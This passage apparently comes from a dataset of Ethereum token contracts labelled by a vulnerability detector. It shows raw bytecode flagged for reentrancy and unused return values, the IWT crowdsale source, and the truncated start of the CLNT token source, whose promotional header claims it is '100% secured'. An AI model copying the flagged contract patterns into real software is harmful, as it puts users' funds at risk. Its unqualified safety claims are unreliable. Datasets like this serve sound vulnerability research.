031633146105585760405162461bcd60e51b81526004016103e390611817565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105cc5760405162461bcd60e51b81526004016103e390611817565b600f54600160a01b900460ff16156106265760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103e3565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561068b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106af919061184c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610720919061184c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561076d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610791919061184c565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610417338484610bd4565b6000546001600160a01b031633146107eb5760405162461bcd60e51b81526004016103e390611817565b60005b81518110156108535760016006600084848151811061080f5761080f611869565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061084b81611895565b9150506107ee565b5050565b6000546001600160a01b031633146108815760405162461bcd60e51b81526004016103e390611817565b600061088c3061050c565b905061050981610fdc565b6000546001600160a01b031633146108c15760405162461bcd60e51b81526004016103e390611817565b600e546108e19030906001600160a01b0316678ac7230489e80000610ab0565b600e546001600160a01b031663f305d71947306108fd8161050c565b6000806109126000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561097a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099f91906118b0565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a1c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050991906118de565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016103e390611817565b600f81101561050957600b55565b6000546001600160a01b03163314610aa25760405162461bcd60e51b81526004016103e390611817565b600f81101561050957600c55565b6001600160a01b038316610b125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e3565b6001600160a01b038216610b735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e3565b6001600160a01b038216610c9a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e3565b60008111610cfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103e3565b6001600160a01b03831660009081526006602052604090205460ff1615610d2257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610d6457506001600160a01b03821660009081526005602052604090205460ff16155b15610ed4576000600955600c54600a55600f546001600160a01b038481169116148015610d9f5750600e546001600160a01b03838116911614155b8015610dc457506001600160a01b03821660009081526005602052604090205460ff16155b8015610dd95750600f54600160b81b900460ff165b15610e06576000610de98361050c565b601054909150610df98383611156565b1115610e0457600080fd5b505b600f546001600160a01b038381169116148015610e315750600e546001600160a01b03848116911614155b8015610e5657506001600160a01b03831660009081526005602052604090205460ff16155b15610e67576000600955600b54600a555b6000610e723061050c565b600f54909150600160a81b900460ff16158015610e9d5750600f546001600160a01b03858116911614155b8015610eb25750600f54600160b01b900460ff165b15610ed257610ec081610fdc565b478015610ed057610ed047610f1e565b505b505b610edf8383836111b5565b505050565b60008184841115610f085760405162461bcd60e51b81526004016103e391906115e6565b506000610f1584866118fb565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610853573d6000803e3d6000fd5b6000600754821115610fbf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103e3565b6000610fc96111c0565b9050610fd583826111e3565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061102457611024611869565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561107d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a1919061184c565b816001815181106110b4576110b4611869565b6001600160a01b039283166020918202929092010152600e546110da9130911684610ab0565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611113908590600090869030904290600401611912565b600060405180830381600087803b15801561112d57600080fd5b505af1158015611141573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111638385611983565b905083811015610fd55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103e3565b610edf838383611225565b60008060006111cd61131c565b90925090506111dc82826111e3565b9250505090565b6000610fd583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135c565b6000806000806000806112378761138a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061126990876113e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112989086611156565b6001600160a01b0389166000908152600260205260409020556112ba81611429565b6112c48483611473565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161130991815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061133782826111e3565b82101561135357505060075492678ac7230489e8000092509050565b90939092509050565b6000818361137d5760405162461bcd60e51b81526004016103e391906115e6565b506000610f15848661199b565b60008060008060008060008060006113a78a600954600a54611497565b92509250925060006113b76111c0565b905060008060006113ca8e8787876114ec565b919e509c509a509598509396509194505050505091939550919395565b6000610fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee4565b60006114336111c0565b90506000611441838361153c565b3060009081526002602052604090205490915061145e9082611156565b30600090815260026020526040902055505050565b60075461148090836113e7565b6007556008546114909082611156565b6008555050565b60008080806114b160646114ab898961153c565b906111e3565b905060006114c460646114ab8a8961153c565b905060006114dc826114d68b866113e7565b906113e7565b9992985090965090945050505050565b60008080806114fb888661153c565b90506000611509888761153c565b90506000611517888861153c565b90506000611529826114d686866113e7565b939b939a50919850919650505050505050565b60008261154b5750600061041b565b600061155783856119bd565b905082611564858361199b565b14610fd55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103e3565b801515811461050957600080fd5b6000602082840312156115db57600080fd5b8135610fd5816115bb565b600060208083528351808285015260005b81811015611613578581018301518582016040015282016115f7565b81811115611625576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050957600080fd5b803561165b8161163b565b919050565b6000806040838503121561167357600080fd5b823561167e8161163b565b946020939093013593505050565b6000806000606084860312156116a157600080fd5b83356116ac8161163b565b925060208401356116bc8161163b565b929592945050506040919091013590565b6000602082840312156116df57600080fd5b8135610fd58161163b565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561171357600080fd5b823567ffffffffffffffff8082111561172b57600080fd5b818501915085601f83011261173f57600080fd5b813581811115611751576117516116ea565b8060051b604051601f19603f83011681018181108582111715611776576117766116ea565b60405291825284820192508381018501918883111561179457600080fd5b938501935b828510156117b9576117aa85611650565b84529385019392850192611799565b98975050505050505050565b6000602082840312156117d757600080fd5b5035919050565b600080604083850312156117f157600080fd5b82356117fc8161163b565b9150602083013561180c8161163b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561185e57600080fd5b8151610fd58161163b565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156118a9576118a961187f565b5060010190565b6000806000606084860312156118c557600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118f057600080fd5b8151610fd5816115bb565b60008282101561190d5761190d61187f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119625784516001600160a01b03168352938301939183019160010161193d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119965761199661187f565b500190565b6000826119b857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119d7576119d761187f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c79e29bdd770a1b52ab847ed374ac89bc857e16180ca933790831518df5d07fe64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,588
0x77faed976e187f26b49e78be8418ab074a341f26
pragma solidity ^0.4.11; // ---------------------------------------------------------------------------- // Integrative Wallet Token & Crowdsale // Iwtoken.com // Developer from @Adatum // Taking ideas from @BokkyPooBah // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths, borrowed from OpenZeppelin // ---------------------------------------------------------------------------- library SafeMath { // ------------------------------------------------------------------------ // Add a number to another number, checking for overflows // ------------------------------------------------------------------------ function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } // ------------------------------------------------------------------------ // Subtract a number from another number, checking for underflows // ------------------------------------------------------------------------ function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender == newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals // https://github.com/ethereum/EIPs/issues/20 // ---------------------------------------------------------------------------- contract ERC20Token is Owned { using SafeMath for uint; // ------------------------------------------------------------------------ // Total Supply // ------------------------------------------------------------------------ uint256 _totalSupply = 100000000.000000000000000000; // ------------------------------------------------------------------------ // Balances for each account // ------------------------------------------------------------------------ mapping(address => uint256) balances; // ------------------------------------------------------------------------ // Owner of account approves the transfer of an amount to another account // ------------------------------------------------------------------------ mapping(address => mapping (address => uint256)) allowed; // ------------------------------------------------------------------------ // Get the total token supply // ------------------------------------------------------------------------ function totalSupply() constant returns (uint256 totalSupply) { totalSupply = _totalSupply; } // ------------------------------------------------------------------------ // Get the account balance of another account with address _owner // ------------------------------------------------------------------------ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } // ------------------------------------------------------------------------ // Transfer the balance from owner&#39;s account to another account // ------------------------------------------------------------------------ function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount // User has balance && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Allow _spender to withdraw from your account, multiple times, up to the // _value amount. If this function is called again it overwrites the // current allowance with _value. // ------------------------------------------------------------------------ function approve( address _spender, uint256 _amount ) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // ------------------------------------------------------------------------ // Spender of tokens transfer an amount of tokens from the token owner&#39;s // balance to the spender&#39;s account. The owner of the tokens must already // have approve(...)-d this transfer // ------------------------------------------------------------------------ function transferFrom( address _from, address _to, uint256 _amount ) returns (bool success) { if (balances[_from] >= _amount // From a/c has balance && allowed[_from][msg.sender] >= _amount // Transfer approved && _amount > 0 // Non-zero transfer && balances[_to] + _amount > balances[_to] // Overflow check ) { balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } else { return false; } } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance( address _owner, address _spender ) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract IntegrativeWalletToken is ERC20Token { // ------------------------------------------------------------------------ // Token information // ------------------------------------------------------------------------ string public constant symbol = "IWT"; string public constant name = "Integrative Wallet Token"; uint256 public constant decimals = 18; uint256 public constant IWTfund = 55 * (10**6) * 10**decimals; // 55m reserved for foundation and expenses. // Initial date 2017-08-31 : 13 00 hs UTC uint256 public constant STARTDATE = 1504184400; uint256 public constant ENDDATE = STARTDATE + 28 days; // Cap USD 12.5 mil @ 196.88 ETH/USD -> 12.5m / 196.88 -> 63490 -> 63500 uint256 public constant CAP = 63500 ether; // Cannot have a constant address here - Solidity bug address public multisig = 0xf82D89f274e2C5FE9FD3202C5426ABE47D2099Cd; address public iwtfundtokens = 0x1E408cE343F4a392B430dFC5E3e2fE3B6a9Cc580; uint256 public totalEthers; function IntegrativeWalletToken() { balances[iwtfundtokens] = IWTfund; // 55m IWT reserved for use Fundation } // ------------------------------------------------------------------------ // Tokens per ETH // Day 1-7 : 1,200 IWT = 1 Ether // Days 8–14 : 1,000 IWT = 1 Ether // Days 15–21: 800 IWT = 1 Ether // Days 22–27: 600 IWT = 1 Ether // ------------------------------------------------------------------------ function buyPrice() constant returns (uint256) { return buyPriceAt(now); } function buyPriceAt(uint256 at) constant returns (uint256) { if (at < STARTDATE) { return 0; } else if (at < (STARTDATE + 1 days)) { return 1200; } else if (at < (STARTDATE + 8 days)) { return 1000; } else if (at < (STARTDATE + 15 days)) { return 800; } else if (at < (STARTDATE + 22 days)) { return 600; } else if (at <= ENDDATE) { return 600; } else { return 0; } } // ------------------------------------------------------------------------ // Buy tokens from the contract // ------------------------------------------------------------------------ function () payable { proxyPayment(msg.sender); } function proxyPayment(address participant) payable { // No contributions before the start of the crowdsale require(now >= STARTDATE); // No contributions after the end of the crowdsale require(now <= ENDDATE); // No 0 contributions require(msg.value > 0); // Add ETH raised to total totalEthers = totalEthers.add(msg.value); // Cannot exceed cap require(totalEthers <= CAP); // What is the IWT to ETH rate uint256 _buyPrice = buyPrice(); // Calculate #IWT - this is safe as _buyPrice is known // and msg.value is restricted to valid values uint tokens = msg.value * _buyPrice; // Check tokens > 0 require(tokens > 0); // Add to balances balances[participant] = balances[participant].add(tokens); // Log events TokensBought(participant, msg.value, totalEthers, tokens, _totalSupply, _buyPrice); Transfer(0x0, participant, tokens); // Move the funds to a safe wallet multisig.transfer(msg.value); } event TokensBought(address indexed buyer, uint256 ethers, uint256 newEtherBalance, uint256 tokens, uint256 newTotalSupply, uint256 buyPrice); function addPrecommitment(address participant, uint balance) onlyOwner { require(now < STARTDATE); require(balance > 0); balances[participant] = balances[participant].add(balance); _totalSupply = _totalSupply.add(balance); Transfer(0x0, participant, balance); } function transfer(address _to, uint _amount) returns (bool success) { // Cannot transfer before crowdsale ends or cap reached require(now > ENDDATE || totalEthers == CAP); // Standard transfer return super.transfer(_to, _amount); } function transferFrom(address _from, address _to, uint _amount) returns (bool success) { // Cannot transfer before crowdsale ends or cap reached require(now > ENDDATE || totalEthers == CAP); // Standard transferFrom return super.transferFrom(_from, _to, _amount); } function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner returns (bool success) { return ERC20Token(tokenAddress).transfer(owner, amount); } // ---------------------------------------------------------------------------- // Integrative Wallet Token & Crowdsale // Iwtoken.com // Developer from @Adatum // Taking ideas from @BokkyPooBah // ---------------------------------------------------------------------------- }
0x606060405236156101465763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610158578063095ea7b3146101e85780630a4625af1461021b57806318160ddd1461023d5780631db9ec2c1461025f57806323b872dd14610281578063313ce567146102ba5780633818d907146102dc578063383e3a5d146102fd5780634783c35b146103225780636db9ec441461034e57806370a082311461037057806379ba50971461039e5780637e4d5ea1146103b05780638620410b146103d25780638da5cb5b146103f457806395d89b4114610420578063a9059cbb146104b0578063c75902cf146104e3578063d4ee1d901461050f578063dc39d06d1461053b578063dd62ed3e1461056e578063ec81b483146105a2578063f2fde38b146105c4578063f48c3054146105e2575b6101565b610153336105f8565b5b565b005b341561016057fe5b610168610779565b6040805160208082528351818301528351919283929083019185019080838382156101ae575b8051825260208311156101ae57601f19909201916020918201910161018e565b505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f057fe5b610207600160a060020a03600435166024356107b0565b604080519115158252519081900360200190f35b341561022357fe5b61022b61081b565b60408051918252519081900360200190f35b341561024557fe5b61022b610821565b60408051918252519081900360200190f35b341561026757fe5b61022b610828565b60408051918252519081900360200190f35b341561028957fe5b610207600160a060020a0360043581169060243516604435610830565b604080519115158252519081900360200190f35b34156102c257fe5b61022b610870565b60408051918252519081900360200190f35b34156102e457fe5b610156600160a060020a0360043516602435610875565b005b341561030557fe5b61022b60043561093d565b60408051918252519081900360200190f35b341561032a57fe5b6103326109ca565b60408051600160a060020a039092168252519081900360200190f35b341561035657fe5b61022b6109d9565b60408051918252519081900360200190f35b341561037857fe5b61022b600160a060020a03600435166109e8565b60408051918252519081900360200190f35b34156103a657fe5b610156610a07565b005b34156103b857fe5b61022b610a8e565b60408051918252519081900360200190f35b34156103da57fe5b61022b610a96565b60408051918252519081900360200190f35b34156103fc57fe5b610332610aa7565b60408051600160a060020a039092168252519081900360200190f35b341561042857fe5b610168610ab6565b6040805160208082528351818301528351919283929083019185019080838382156101ae575b8051825260208311156101ae57601f19909201916020918201910161018e565b505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104b857fe5b610207600160a060020a0360043516602435610aed565b604080519115158252519081900360200190f35b34156104eb57fe5b610332610b2b565b60408051600160a060020a039092168252519081900360200190f35b341561051757fe5b610332610b3a565b60408051600160a060020a039092168252519081900360200190f35b341561054357fe5b610207600160a060020a0360043516602435610b49565b604080519115158252519081900360200190f35b341561057657fe5b61022b600160a060020a0360043581169060243516610bf8565b60408051918252519081900360200190f35b34156105aa57fe5b61022b610c25565b60408051918252519081900360200190f35b34156105cc57fe5b610156600160a060020a0360043516610c33565b005b610156600160a060020a03600435166105f8565b005b6000806359a8085042101561060d5760006000fd5b6359ccf25042111561061f5760006000fd5b6000341161062d5760006000fd5b600754610640903463ffffffff610c7c16565b6007819055690d7257869a94b8b0000090111561065d5760006000fd5b610665610a96565b915050348102600081116106795760006000fd5b600160a060020a0383166000908152600360205260409020546106a2908263ffffffff610c7c16565b600160a060020a038416600081815260036020908152604091829020939093556007546002548251348152948501919091528382018590526060840152608083018590525190917f6a7381bdc8f4e7ed3c0f0c299382777bde88a65f0c27f670235401d154454630919081900360a00190a2604080518281529051600160a060020a03851691600091600080516020610f5f8339815191529181900360200190a3600554604051600160a060020a03909116903480156108fc02916000818181858888f19350505050151561077357fe5b5b505050565b60408051808201909152601881527f496e7465677261746976652057616c6c657420546f6b656e0000000000000000602082015281565b600160a060020a03338116600081815260046020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60075481565b6002545b90565b6359ccf25081565b60006359ccf25042118061084f5750690d7257869a94b8b00000600754145b151561085b5760006000fd5b610866848484610ca4565b90505b9392505050565b601281565b60005433600160a060020a039081169116146108915760006000fd5b6359a8085042106108a25760006000fd5b600081116108b05760006000fd5b600160a060020a0382166000908152600360205260409020546108d9908263ffffffff610c7c16565b600160a060020a038316600090815260036020526040902055600254610905908263ffffffff610c7c16565b600255604080518281529051600160a060020a03841691600091600080516020610f5f8339815191529181900360200190a35b5b5050565b60006359a80850821015610953575060006109bf565b6359a959d082101561096857506104b06109bf565b6359b2945082101561097d57506103e86109bf565b6359bbced082101561099257506103206109bf565b6359c509508210156109a757506102586109bf565b6359ccf25082116109bb57506102586109bf565b5060005b5b5b5b5b5b5b919050565b600554600160a060020a031681565b6a2d7eb3f96e070d9700000081565b600160a060020a0381166000908152600360205260409020545b919050565b60015433600160a060020a03908116911614156101535760015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b565b6359a8085081565b6000610aa14261093d565b90505b90565b600054600160a060020a031681565b60408051808201909152600381527f4957540000000000000000000000000000000000000000000000000000000000602082015281565b60006359ccf250421180610b0c5750690d7257869a94b8b00000600754145b1515610b185760006000fd5b610b228383610e39565b90505b92915050565b600654600160a060020a031681565b600154600160a060020a031681565b6000805433600160a060020a03908116911614610b665760006000fd5b6000805460408051602090810184905281517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810187905291519287169363a9059cbb936044808501949192918390030190829087803b1515610bd957fe5b6102c65a03f11515610be757fe5b5050604051519150505b5b92915050565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b690d7257869a94b8b0000081565b60005433600160a060020a03908116911614610c4f5760006000fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b6000828201838110801590610c915750828110155b1515610c9957fe5b8091505b5092915050565b600160a060020a038316600090815260036020526040812054829010801590610cf45750600160a060020a0380851660009081526004602090815260408083203390941683529290522054829010155b8015610d005750600082115b8015610d255750600160a060020a038316600090815260036020526040902054828101115b15610e2957600160a060020a038416600090815260036020526040902054610d53908363ffffffff610f4716565b600160a060020a0380861660009081526003602090815260408083209490945560048152838220339093168252919091522054610d96908363ffffffff610f4716565b600160a060020a0380861660009081526004602090815260408083203385168452825280832094909455918616815260039091522054610ddc908363ffffffff610c7c16565b600160a060020a038085166000818152600360209081526040918290209490945580518681529051919392881692600080516020610f5f83398151915292918290030190a3506001610869565b506000610869565b5b9392505050565b600160a060020a033316600090815260036020526040812054829010801590610e625750600082115b8015610e875750600160a060020a038316600090815260036020526040902054828101115b15610f3857600160a060020a033316600090815260036020526040902054610eb5908363ffffffff610f4716565b600160a060020a033381166000908152600360205260408082209390935590851681522054610eea908363ffffffff610c7c16565b600160a060020a03808516600081815260036020908152604091829020949094558051868152905191933390931692600080516020610f5f83398151915292918290030190a3506001610815565b506000610815565b5b92915050565b600082821115610f5357fe5b508082035b929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820e82866b8c7b1b334ba7de84099482f1b27d72877e743d59b7d4465c18a2c87810029
{"success": true, "error": null, "results": {}}
2,589
0x6d44cB2510606a4D061712c2970340bc57ec5D99
/** *Submitted for verification at Etherscan.io on 2021-07-31 */ /*** * * CALIENTE $CLNT * * www.clnt.cc * t.me/CLNTofficial * * Attention OnlyFans, Unlockd and AVN Stars Lovers! * CALIENTE is a new cross-platform marketplace where creators connect with to their fanbase to share exclusive NFTs with benefits. * * 100% secured by a proven team, locked liquidity and renounced ownership. * * 50% Discount via presale July 31, 9pm UTC * Token launch: August 1, 9pm UTC * * FAIR LAUNCH: There are no team tokens or presale tokens issued. * TOTAL SUPPLY: A total of 1,000,000,000,000 tokens are available at launch. * BUY FEE: On purchase there is a 10% total tax (6% goes to the holders, 4% to the team for marketing). * BOT PROTECTION: The first buy is capped at 3,000,000,000 tokens, 45-second buy cooldown for the first 2 minutes. * COOL DOWN: 15-second cooldown to sell after a buy to ban. There are no cool downs between sells. * SELL FEE: Dynamically scaled to the sell's price impact, with a minimum fee of 10% and a maximum fee of 40%. * */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CLNT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Caliente (CLNT.CC)"; string private constant _symbol = unicode"CLNT"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else 